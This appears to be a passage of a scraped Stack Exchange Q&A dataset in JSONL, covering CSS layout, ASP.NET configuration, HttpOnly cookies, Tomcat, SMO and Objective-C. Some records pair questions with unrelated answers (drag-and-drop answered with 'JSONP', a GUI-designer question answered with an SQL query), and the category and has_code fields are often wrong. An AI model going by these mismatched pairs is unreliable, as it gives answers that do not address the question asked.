backup of the previous version of the file, so you can manually \"undo\" your last edit at any time in the future.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.389595"}
{"id": "hf_603ffe13da8b", "question": "<p>In a web application, I have a page that contains a DIV that has an auto-width depending on the width of the browser window.</p>\n\n<p>I need an auto-height for the object.  The DIV starts about 300px from the top screen, and its height should make it stretch to the bottom of the browser screen.  I have a max height for the container DIV, so there would have to be minimum-height for the div.  I believe I can just restrict that in CSS, and use Javascript to handle the resizing of the DIV.</p>\n\n<p>My javascript isn't nearly as good as it should be.  Is there an easy script I could write that would do this for me?</p>\n\n<p>Edit: \nThe DIV houses a control that does it's own overflow handling (implements its own scroll bar).</p>\n", "question_body": "", "answer": "What should happen in the case of overflow?  If you want it to just get to the bottom of the window, use absolute positioning:\n```\n```\ndiv {\n  position: absolute;\n  top: 300px;\n  bottom: 0px;\n  left: 30px;\n  right: 30px;\n}\n```\n```\nThis will put the DIV 30px in from each side, 300px from the top of the screen, and flush with the bottom.  Add an\n```\noverflow:auto;\n```\nto handle cases where the content is larger than the div.\nEdit: @Whoever marked this down, an explanation would be nice... Is something wrong with the answer?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.429366"}
{"id": "hf_36f74e1e419d", "question": "<p>I'm using the <a href=\"http://msdn.microsoft.com/en-us/library/ms178329.aspx\" rel=\"nofollow noreferrer\">ASP.NET Login Controls</a> and <a href=\"http://msdn.microsoft.com/en-us/library/aa480476.aspx\" rel=\"nofollow noreferrer\">Forms Authentication</a> for membership/credentials for an ASP.NET web application.  It keeps redirecting to a Login.aspx page at the root of my application that does not exist.  My login page is within a folder.</p>\n", "question_body": "", "answer": "I found the answer at\nCoderSource.net\n.  I had to put the correct path into my web.config file.\n```\n```\n<?xml version=\"1.0\"?>\n<configuration>\n    <system.web>\n        ...\n        <!--\n            The <authentication> section enables configuration \n            of the security authentication mode used by \n            ASP.NET to identify an incoming user. \n        -->\n        <authentication mode=\"Forms\">\n            <forms loginUrl=\"~/FolderName/Login.aspx\" />\n        </authentication>\n        ...\n    </system.web>\n    ...\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.467093"}
{"id": "hf_ebf1fa268a59", "question": "<p>I've noticed that some sites (usually banks) suppress the ability to paste text into text fields. How is this done? I know that JavaScript can be used to swallow the keyboard shortcut for paste, but what about the right-click menu item?</p>\n", "question_body": "", "answer": "Probably using the\n```\nonpaste\n```\nevent, and either\n```\nreturn false\n```\nfrom it or use\n```\ne.preventDefault()\n```\non the Event object.\nNote that\n```\nonpaste\n```\nis\nnon standard\n, don't rely on it for production sites, because it will not be there forever.\n```\n```\n$(document).on(\"paste\",function(e){\n  console.log(\"paste\")\n  e.preventDefault()\n  return false;\n})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.491440"}
{"id": "hf_af0c8974bd6b", "question": "<p>I would like to extend some existing applications' drag and drop behavior, and I'm wondering if there is any way to hack on drag and drop support or changes to drag and drop behavior by monitoring the app's message loop and injecting my own messages.</p>\n\n<p>It would also work to monitor for when a paste operation is executed, basically to create a custom behavior when a control only supports pasting text and an image is pasted.</p>\n\n<p>I'm thinking <a href=\"http://research.microsoft.com/sn/detours/\" rel=\"nofollow noreferrer\">Detours</a> might be my best bet, but one problem is that I would have to write custom code for each app I wanted to extend.  If only Windows was designed with extensibility in mind!</p>\n\n<p>On another note, is there any OS that supports extensibility of this nature?</p>\n", "question_body": "", "answer": "With jQuery newer than 1.2 you can use\nJSONP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.527796"}
{"id": "hf_093d09bf1d02", "question": "<p>Would it be possible to print <code>Hello</code> twice using single <code>condition</code>?</p>\n\n<pre><code>if  \"condition\"\n  printf (\"Hello\");\nelse\n  printf(\"World\");\n</code></pre>\n", "question_body": "", "answer": "The\n```\nif\n```\nstatement executes one or the other of the controlled statements (both\n```\nprintf\n```\nin your example). No matter what you use for\n```\ncondition\n```\n, that snippet will either print \"Hello\", or \"World\", but never both.\nEdit: Okay, so it's a trick question and you can put whatever you like in the condition (including a call to an entire other function that does anything you want). But that's hardly interesting. I can't believe I got downmodded for giving a correct answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.630518"}
{"id": "hf_14213ddf1d44", "question": "<p>How can you implement trackbacks on a custom-coded blog (written in C#)?</p>\n", "question_body": "", "answer": "If you're custom coding your own blog you have too much time on your hands.  Start with something like\ndasBlog\nor\nSubText\nand customize that to your needs.  Then you get trackbacks for free.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.678949"}
{"id": "hf_f0a7f4d5c29c", "question": "<p>Winform on CF is a bit heavy, initialising a lot of windows handles takes serious time and memory. Another issue is the lack of inbuilt double buffering and lack of control you have over the UI rendering means that during processor intensive operations the UI might leave the user staring at a half rendered screen. Nice!</p>\n\n<p>To alleviate this issue I would seek a lightweight control framework, is there one kicking about already or would one have to homebrew?</p>\n\n<p>By lightweight I mean a control library that enables one to fully control painting of controls and doesn't use many expensive windows handles. </p>\n\n<p>NOTE: Please don't suggest that I am running too much on the UI thread. That is <strong>not</strong> the case.</p>\n", "question_body": "", "answer": "Actually, you can override the paint event.\nAnd the idea is that you offload long-running operations to a separate thread.  That's no different from any other event-driven framework, really.\nAnything\nthat relies on a handling a Paint event is going to be susceptible to that.\nAlso, there's no system that lets you determine when the paint event is raised. That kind of event is generally raised by the window manager layer, which is outside of the application (or even the framework). You can handle the event yourself and just do no work some of the time, but I wouldn't recommend it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.702469"}
{"id": "hf_59f0af8b5a78", "question": "<p>Assuming such a query exists, I would greatly appreciate the help.</p>\n\n<p>I'm trying to develop a permissions script that will grant \"select\" and \"references\" permissions on the user tables and views in a database.  My hope is that executing the \"grant\" commands on each element in such a set will make it easier to keep permissions current when new tables and views are added to the database.</p>\n", "question_body": "", "answer": "```\n```\nselect * from information_schema.tables\nwhere table_type = 'view'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.737960"}
{"id": "hf_1d6316322ef0", "question": "<p>Imagine you homebrew a custom gui framework that <em>doesn't</em> use windows handles (compact framework, so please don't argue with \"whys\"). One of the main disadvantages of developing such a framework is that you lose compatability with the winform designer.</p>\n\n<p>So my question is to all of you who know a lot about VS customisation, would there be a clever mechanism by which one could incorperate the gui framework into the designer and get it to spit out your custom code instead of the standard windows stuff in the <code>InitialiseComponent()</code> method?</p>\n", "question_body": "", "answer": "```\n```\nselect * from information_schema.tables\nwhere table_type = 'view'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.761761"}
{"id": "hf_681bad432e98", "question": "<p>Within an application, I've got Secret Keys uses to calculate a hash for an API call.  In a .NET application it's fairly easy to use a program like Reflector to pull out information from the assembly to include these keys.</p>\n\n<p>Is obfuscating the assembly a good way of securing these keys?</p>\n", "question_body": "", "answer": "Probably not.\nLook into cryptography and Windows' built-in information-hiding mechanisms (DPAPI and storing the keys in an ACL-restricted registry key, for example). That's as good as you're going to get for security you need to keep on the same system as your application.\nIf you are looking for a way to stop someone physically sitting at the machine from getting your information, forget it. If someone is determined, and has unrestricted access to a computer that is not under your control, there is no way to be 100% certain that the data is protected under all circumstances. Someone who is determined will get at it if they want to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.870078"}
{"id": "hf_6f08f604cad4", "question": "<p>I have a JavaScript method that I need to run on one of my pages, in particular, the <code>onresize</code> event.  </p>\n\n<p>However, I don't see how I can set that event from my content page.  I wish I could just put it on my master page, but I don't have the need for the method to be called on all pages that use that master page.</p>\n\n<p>Any help would be appreciated.</p>\n", "question_body": "", "answer": "Place the following in your content page:\n```\n```\n<script type=\"text/javascript\">\n\n// here is a cross-browser compatible way of connecting \n// handlers to events, in case you don't have one\nfunction attachEventHandler(element, eventToHandle, eventHandler) {\n    if(element.attachEvent) {\n       element.attachEvent(eventToHandle, eventHandler);\n    } else if(element.addEventListener) {\n       element.addEventListener(eventToHandle.replace(\"on\", \"\"), eventHandler, false);\n    } else {\n    element[eventToHandle] = eventHandler;\n  }\n}\n\nattachEventHandler(window, \"onresize\", function() {\n    // the code you want to run when the browser is resized\n});\n\n</script>\n```\n```\nThat code should give you the basic idea of what you need to do. Hopefully you are using a library that already has code to help you write up event handlers and such.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.893669"}
{"id": "hf_5695410eed75", "question": "<p>When trying to execute from within Visual Studio 2008 your application and you get the (uninformative) message \"The operation could not be completed\".</p>\n\n<p>The solution to this is to turn off the \"Visual Studio Hosting Process\".</p>\n\n<p>The problem with turning off this \"hosting process\" is that all the \"run and rewrite\" functionality is no longer available. OK, so this isn't a big deal, but I'm <em>always</em> getting this message no matter what machine I use (and it might be nice once in a while to use the rewrite and execute functionality).</p>\n\n<p>Am I doing something wrong? How come this \"feature\" within VS seems to complain so readily? Do other people have success with enabling the hosting process and making use of it?</p>\n", "question_body": "", "answer": "I honestly have never seen this message and I work with Visual Studio for at least 8 hours a day.  Is this reproducible on other machines?  If so is there anything weird or abnormal in your code that could cause this to crash?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.942233"}
{"id": "hf_1c6b58e42aaf", "question": "<p>I'm considering developing a website similar to stackoverflow, but the answers may also consist of drawings (schematics, in this case).  I want to have an area in the answer form where they can make this schematic without requiring special plugins, etc.  </p>\n\n<ol>\n<li>Are we to the point where SVG has or should have critical mass soon (1-2 years) such that designing a website where script-run SVG as a primary feature is reasonable (ie, requiring Firefox or another SVG/AJAX compliant browser)?</li>\n<li>What are some good resources for learning cross platform SVG scripting (likely in javascript)?</li>\n</ol>\n\n<p>-Adam Davis</p>\n", "question_body": "", "answer": "1/ probably never - if IE wanted to add it, then I would have though it would have done so by now; but there are workarounds using\nSilverLight\nand\nGecko\nto provide rendering. On the other hand, there are cross-browser graphics APIs available. I've done largish front ends using XULRunner and SVG, but nothing on the web which had to cater for IE.\n2/ The two I referred to most often were the\nSVG pages on mozilla.org\nand this\nSVG DOM reference\n. All of my SVG links are here on\ndelicious\nThere's one existing editor at\nhttp://www.bpel4chor.org/editor/\n; also if all you want is schematics where all arcs are on a grid, you can do that quite well using divs and images without SVG. Or you could just go the\nlo-fi route", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:15.978353"}
{"id": "hf_a09e63840a23", "question": "<p>I using SharePoint Designer to create a workflow. I'm trying to get at a sub-folder in a document library in the \"Define Workflow Lookup\" dialog.  There are two issues with this:</p>\n\n<ol>\n<li>I can't look up items by URL Path. If I look up by Title, I can\noutput the URL Path, but selecting by path doesn't work.  What\nfields can/can't I use?</li>\n<li>I can't get at any sub-folders.  I can get at the top-level folder,\nbut the sub-folders don't seem to be available. Noticed the same\nthings is true when looking at the data for a document library in\nthe \"Data Source Library\" in Designer.</li>\n</ol>\n\n<p>To clarify, the workflow is on a different list, not on the document library.</p>\n\n<p><strong>UPD:</strong> Also, I know how to do this through the object model, the question is how to do it in SharePoint Designer without deploying code to the server.</p>\n", "question_body": "", "answer": "I really don't have much experience with Sharepoint, but I thought I could at least provide\nsome\nanswer - even if it's the wrong one.\nFrom another dev I've spoken to it sounds like it's tough to get into any subfolders, so you might need to look at making your own custom workflow.\nMaybe something like LINQ to Sharepoint might be able to help you with actually getting in and enumerating the subfolders and getting to the data that you need?\nLINQ to Sharepoint", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.002424"}
{"id": "hf_d8132e16e07f", "question": "<p>What's the best lifetime model for a <code>DataContext</code>? Should I just create a new one whenever I need it (aka, function level), should I keep one available in each class that would use it (class level), or should I create a static class with a static DataContext (app-domain level)? Are there any considered best practices on this?</p>\n", "question_body": "", "answer": "I think Jeff Atwood talked about this in the\nHerding Code podcast\n, when he was questioned about the exact same thing. Listen to it towards the last 15-20 minutes or so.\nI think in SO, the datacontext is created in the Controller class. Not sure about a lot of details here. But that's what it looked like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.039279"}
{"id": "hf_5b226c99d41f", "question": "<p>After reading Jeff's blog post on <a href=\"http://www.codinghorror.com/blog/archives/001167.html\" rel=\"noreferrer\">Protecting Your Cookies: HttpOnly</a>. I'd like to implement HttpOnly cookies in my web application.</p>\n\n<p>How do you tell tomcat to use http only cookies for sessions?</p>\n", "question_body": "", "answer": "For session cookies it doesn't seem to be supported in Tomcat yet. See the bug report\nNeed to add support for HTTPOnly session cookie parameter\n. A somewhat involved work-around for now can be found\nhere\n, which basically boils down to manually patching Tomcat. Can't really find an easy way to do it at this moment at this point I'm affraid.\nTo summarize the work-around, it involves downloading the 5.5\nsource\n, and then change the source in the following places:\norg.apache.catalina.connector.Request.java\n```\n```\n//this is what needs to be changed\n//response.addCookieInternal(cookie);\n\n//this is whats new\nresponse.addCookieInternal(cookie, true);\n}\n```\n```\norg.apache.catalina.connectorResponse.addCookieInternal\n```\n```\npublic void addCookieInternal(final Cookie cookie) {\naddCookieInternal(cookie, false);\n}\n\npublic void addCookieInternal(final Cookie cookie, boolean HTTPOnly) {\n\nif (isCommitted())\nreturn;\n\nfinal StringBuffer sb = new StringBuffer();\n//web application code can receive a IllegalArgumentException\n//from the appendCookieValue invokation\nif (SecurityUtil.isPackageProtectionEnabled()) {\nAccessController.doPrivileged(new PrivilegedAction() {\npublic Object run(){\nServerCookie.appendCookieValue\n(sb, cookie.getVersion(), cookie.getName(),\ncookie.getValue(), cookie.getPath(),\ncookie.getDomain(), cookie.getComment(),\ncookie.getMaxAge(), cookie.getSecure());\nreturn null;\n}\n});\n} else {\nServerCookie.appendCookieValue\n(sb, cookie.getVersion(), cookie.getName(), cookie.getValue(),\ncookie.getPath(), cookie.getDomain(), cookie.getComment(),\ncookie.getMaxAge(), cookie.getSecure());\n}\n//of course, we really need to modify ServerCookie\n//but this is the general idea\nif (HTTPOnly) {\nsb.append(\"; HttpOnly\");\n}\n\n//if we reached here, no exception, cookie is valid\n// the header name is Set-Cookie for both \"old\" and v.1 ( RFC2109 )\n// RFC2965 is not supported by browsers and the Servlet spec\n// asks for 2109.\naddHeader(\"Set-Cookie\", sb.toString());\n\ncookies.add(cookie);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.101235"}
{"id": "hf_87f99ba15fd4", "question": "<p>I am using <a href=\"http://www.hibernate.org/\" rel=\"noreferrer\">Hibernate</a> in a Java application to access my Database and it works pretty well with MS-SQL and MySQL. But some of the data I have to show on some forms has to come from Text files, and by Text files I mean Human-Readable files, they can be CSV, Tab-Delimited, or even a key, value pair, per line since my data is as simple as this, but my preference of course is XML files.</p>\n\n<p>My question is: Can I use hibernate to read those files using HQL, Query , EntityManager and all those resources Hibernate provides me to access files. Which file format should I use and How I configure My persistence.xml file to recognize files as Tables?</p>\n", "question_body": "", "answer": "Hibernate is written against the JDBC API. So, you need a JDBC driver that works with the file format you are interested in. Obviously, even for read-only access, this isn't going to perform well, but it might still be useful if that's not a high priority. On a Windows system, you can set up ODBC datasources for delimited text files, Excel files, etc. Then you can set up the JdbcOdbcDriver in your Java application to use this data source.\nFor most of the applications I work on, I would not consider this approach; I would use an import/export mechanism to convert from a real database (even if it's an in-process database like Berkeley DB or Derby) to the text files. Yes, it's an extra step, but it could be automated, and the performance isn't likely to be much worse than trying to use the text files directly (it will likely be much better, overall), and it will be more robust and easy to develop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.126652"}
{"id": "hf_d509b2b657a3", "question": "<p>Is there a way to call out from a TSQL stored procedure or function to a webservice?</p>\n", "question_body": "", "answer": "Not in T-SQL code itself, but with SQL Server 2005 and above, they've enabled the ability to write CLR stored procedures, which are essentially functions in .NET code and then expose them as stored procedures for consumption. You have most of the .NET framework at your fingertips for this, so I can see consumption of a web service possible through this.\nIt is a little lengthy to discuss in detail here, but here's a link to an\nMSDN article\non the topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.151953"}
{"id": "hf_770481fb42be", "question": "<p>Does anyone have a definitive answer to whether <a href=\"http://msdn.microsoft.com/en-us/library/ms162557.aspx\" rel=\"nofollow noreferrer\">Sql Server Management Objects</a> is compatible with Sql Server 7.0?\nThe docs state:</p>\n\n<blockquote>\n  <p>Because SMO is compatible with SQL Server version 7.0, SQL Server 2000, SQL Server 2005, and SQL Server 2008, you easily manage a multi-version environment.</p>\n</blockquote>\n\n<p>But trying to connect to a Sql 7 instance gets me:</p>\n\n<blockquote>\n  <p>\"This SQL Server version (7.0) is not supported.\"</p>\n</blockquote>\n\n<p>Has anyone been successful in getting these 2 to play nice?</p>\n", "question_body": "", "answer": "you can use SMO to connect to SQL Server versions 7, 2000, and 2005, but SMO does not support databases set to compatibility levels 60, 65, and 70.\nfor SQL Server 7.0 the compatibility level is 70\nObviously this is conflicting information...I assume if your compatibility level of your DB is 70 you can not connect.\nTo check run: EXEC sp_dbcmptlevel '\ndatabasename\n'\nLooking through this link\n, it seems you might be able to change the compatibility level by running this:\nEXEC sp_dbcmptlevel '\ndatabasename\n', 80\nObviously make a back up before changing anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.175720"}
{"id": "hf_98569bef9c44", "question": "<p>Is it possible to use a flash document embedded in HTML as a link?</p>\n\n<p>I tried just wrapping the <code>object</code> element with an <code>a</code> like this:</p>\n\n<pre><code>&lt;a href=\"http://whatever.com\"&gt;\n    &lt;object ...&gt;\n        &lt;embed ... /&gt;\n    &lt;/object&gt;\n&lt;/a&gt;\n</code></pre>\n\n<p>In Internet Explorer, that made it show the location in the status bar like a link, but it doesn't do anything.</p>\n\n<p>I just have the .swf file, so I can't add a click handler in ActionScript.</p>\n", "question_body": "", "answer": "Though the object really should respond to being wrapped in an a href tag, you could open the swf in vim and just throw in an\n```\n_root.onPress=function(){getURL(\"http://yes.no/\");};\n```\nor if it's AS3, something like\n```\n_root.addEventHandler(MouseEvent.PRESS, function (e:event) {getURL(\"http://yes.no/\");});\n```\nBut if editing the swf is your route, you'd likely have more success with\na tool for the purpose\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.199311"}
{"id": "hf_efb439b64e84", "question": "<p>I'm starting a new web project and I am considering two presentation frameworks. I am thinking either about ASP.NET MVC or Silverlight. I would tend toward Silverlight since I'm quite experienced .NET developer while I have just a basic knowledge of ASP.NET controls.</p>\n", "question_body": "", "answer": "It's hard to recommend one over the other without knowing what your application is.  Whatever you do decide, make sure you keep your target audience in mind; not everyone is going to have Silverlight installed on their computers.\nPersonally, unless I was designing an incredibly interactive and beautiful web app, I would go with ASP.NET (with or without the MVC framework) if only for the fact that there is a\nton\nof reference material for it while Silverlight is still relatively new territory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.309272"}
{"id": "hf_f7808d3946d5", "question": "<p>Right now, I keep all of my projects on my laptop. I'm thinking that I shouldn't do this, but instead use a version control system and check them in/out from an external hosting repository (Google Code, SourceForge, etc). I see several benefits here - first, I don't have to worry about losing my code if my computer crashes and burns or my external HDD crashes and burns; second, I can share my code with the world and perhaps even get more help when I need it.</p>\n\n<p>Is this a good idea? If so, what are some other project hosts that I should investigate (other than Google Code and SourceForge)?</p>\n", "question_body": "", "answer": "Assembla\nis\nawesome.\nEDIT: Yes, this is a good idea - I used to use a personal copy of\nVault\nand found it was more than I cared to manage (in case my server went down or hard drive crashed - not only was it painful to worry about losing and backing up data, but the downtime). Of course, it doesn't hurt to have your own backup as well. Cover all your bases!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.358434"}
{"id": "hf_503fece004cc", "question": "<p>Inspired by this CodingHorror article, \"<a href=\"http://www.codinghorror.com/blog/archives/001167.html\" rel=\"noreferrer\">Protecting Your Cookies: HttpOnly</a>\"</p>\n\n<p>How do you set this property? Somewhere in the web config?</p>\n", "question_body": "", "answer": "With props to Rick (second comment down in the blog post mentioned), here's the\nMSDN article\non httpOnlyCookies.\nBottom line is that you just add the following section in your system.web section in your web.config:\n```\n```\n<httpCookies domain=\"\" httpOnlyCookies=\"true|false\" requireSSL=\"true|false\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.382924"}
{"id": "hf_67bc267429d6", "question": "<p>I want to check out all files in all subdirectories of a specified folder.</p>\n\n<p>(And it is painful to do this using the GUI, because there is no recursive checkout option).</p>\n", "question_body": "", "answer": "```\n```\ncleartool find somedir -exec \"cleartool checkout -nc \\\"%CLEARCASE_PN%\\\"\"\n```\n```\nAlso an article \"\nClearCase: The ten best scripts\n\" might be helpful", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.446048"}
{"id": "hf_13bbed64b2eb", "question": "<p>Obviously, that's 64-bit windows.</p>\n\n<p>Also, what's the maximum amount of memory a single 64-bit process can use?\nI was kind of counting on using it all... \n(Yes, I know what I'm doing, please don't tell me that if I need that much RAM i must be doing something wrong)</p>\n\n<p>Also, is this the same for a .Net 2.0 process? Or is there a lower limit for .Net?</p>\n", "question_body": "", "answer": "Something we found out recently: with MySQL running on Win32, you can only use up to 2GB per process. On Win64, the memory is not managed as well and a single MySQL instance will run your memory into the ground. Ours used up all 16GB we have. So regarding how much memory 1 64-bit process can use: the answer is however much the OS allows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.506476"}
{"id": "hf_2f17cd34fcb8", "question": "<p>I assume it doesn't connect to anything (other than the satelite I guess), is this right? Or it does and has some kind of charge?</p>\n", "question_body": "", "answer": "There's 3 satellites at least that you must be able to receive from of the 24-32 out there, and they each broadcast a time from a synchronized atomic clock. The differences in those times that you receive at any one time tell you how long the broadcast took to reach you, and thus where you are in relation to the satellites. So, it sort of reads from something, but it doesn't connect to that thing.  Note that this doesn't tell you your orientation, many GPSes fake that (and speed) by interpolating data points.\nIf you don't count the cost of the receiver, it's a free service. Apparently there's higher resolution services out there that are restricted to military use. Those are likely a fixed cost for a license to decrypt the signals along with a confidentiality agreement.\nNow your device may support GPS tracking, in which case it might communicate, say via GPRS, to a database which will store the location the device has found itself to be at, so that multiple devices may be tracked. That would require some kind of connection.\nMaps are either stored on the device or received over a connection. Navigation is computed based on those maps' databases. These likely are a licensed item with a cost associated, though if you use a service like Google Maps they have the license with NAVTEQ and others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.530666"}
{"id": "hf_422c1148030a", "question": "<p>As you develop an application database changes inevitably pop up.  The trick I find is keeping your database build in step with your code.  In the past I have added a build step that executed SQL scripts against the target database but that is dangerous in so much as you could inadvertanly add bogus data or worse.  </p>\n\n<p>My question is what are the tips and tricks to keep the database in step with the code?  What about when you roll back the code?  Branching?</p>\n", "question_body": "", "answer": "Version numbers embedded in the database are helpful.  You have two choices, embedding values into a table (allows versioning multiple items) that can be queried, or having an explictly named object (such as a table or somesuch) you can test for.\nWhen you release to production, do you have a rollback plan in the event of unexpected catastrophe?  If you do, is it the application of a schema rollback script?  Use your rollback script to rollback the database to a previous code version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.560464"}
{"id": "hf_05a6ad210c24", "question": "<p>I'm a PHP developer, and I use the MVC pattern and object-oriented code. I really want to write applications for the iPhone, but to do that I need to know Cocoa, but to do that I need to know Objective-C 2.0, but to do that I need to know C, and to do that I need to know about compiled languages (versus interpreted). </p>\n\n<p>Where should I begin? \nDo I really need to begin with plain old \"C\", as Joel would recommend?</p>\n\n<p>Caveat: I like to produce working widgets, not elegant theories.</p>\n", "question_body": "", "answer": "I think starting with C would be a smart thing to do. After all, Objective-C is C language with some extensions.\nTo develop in Cocoa you are required to know well how pointers and memory allocation work (there's no garbage collection on the iPhone), plus you will have to use some standard C libraries,\nbecause a lot of the frameworks that are used to develop for the iPhone are C libraries\nnot Cocoa libraries. Take for example CoreGraphics, the library you have to use to draw on the screen on the iPhone. That's a C framework, meaning that it is not written in Objective-C.\nOf course after learning C to a modest level, you could start reading about Objective-C and Cocoa, and in that case I would start with the\nObjective-C language specification\n(link to PDF)\nand the Aaron Hillegas book on Cocoa.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.608282"}
